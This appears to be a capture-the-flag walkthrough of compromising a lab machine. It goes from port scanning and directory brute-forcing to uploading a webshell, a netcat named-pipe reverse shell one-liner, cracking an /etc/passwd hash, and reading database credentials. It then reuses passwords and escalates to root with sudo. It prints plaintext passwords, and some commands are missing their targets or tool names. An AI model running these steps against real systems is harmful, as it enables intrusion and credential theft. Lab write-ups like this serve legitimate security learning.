sudo nmap -p- -sS -sV

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hitting port 80 we come to an Apache default installation page. Viewing the source of this page reveals no interesting information.

We now move onto enumerating with First running seclists big.txt against the target.

python3 -u -w /usr/share/seclists/Discovery/Web-Content/big.txt -r -R 2 --full-url -t 75 

We view robots.txt and find it contains contains:

Allow: Enum_this_Box

I ran against this and was unable to find anything further. Viewing /phpmyadmin and attempting to login with default credentials shows we are unable to proceed with the default root account.

Running again on the target this time using the --suffix parameter to append .php to all entries we find /mini.php.

python3 -u -w /usr/share/seclists/Discovery/Web-Content/big.txt -r -R 2 --full-url -t 75 --suffix=.php 

Browsing to /mini.php we come to Zerion Mini Shell 1.0. As per below I uploaded a webshell as webshell.php

Knowing that the above files exist in the root directory I then browsed to /webshell.php and was able to execute commands confirming we are running as www-data.

Running the command which nc shows we have netcat installed on the target machine. I set up a netcat listener on my target machine then run the following command on the webshell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 80 >/tmp/f

Resulting in a reverse shell.

Upgrade the shell:

/usr/bin/script -qc /bin/bash /dev/null

Checking /etc/passwd shows the user 'oracle' has a password hash in the file.

I then took the hash and run it under mode 500 on Hashcat on my Windows host which cracked the password as: hiphop

I then used su to switch to the user 'oracle' and was successful switching.

After poking about on the oracle user for a bit I could not find anything interesting. I tried the hiphop password against other users and no luck. I decided to move back onto www-data so I can read some files in /etc/phpmyadmin.

I disconnected the shell and run the initial exploit on the web shell to get connect as www-data. Moving into /etc/phpyadmin and then reading read the config-db.php file we see credential information.

We find the credentials phpmyadmin:tgbzhnujm! I then logged in MySQL and was unable to identify interesting information in the contained databases.

From here I starting throwing the passwords at the users in the /home/ directory until I got a match on the user 'karla'.

Knowing this worked I excited the shell and logged into SSH with the same information just so we have all the advantages of a SSH shell.

Checking sudo -l we see Karla can run any command as anyone. For a nice easy root shell we can run the command below:

sudo /bin/bash

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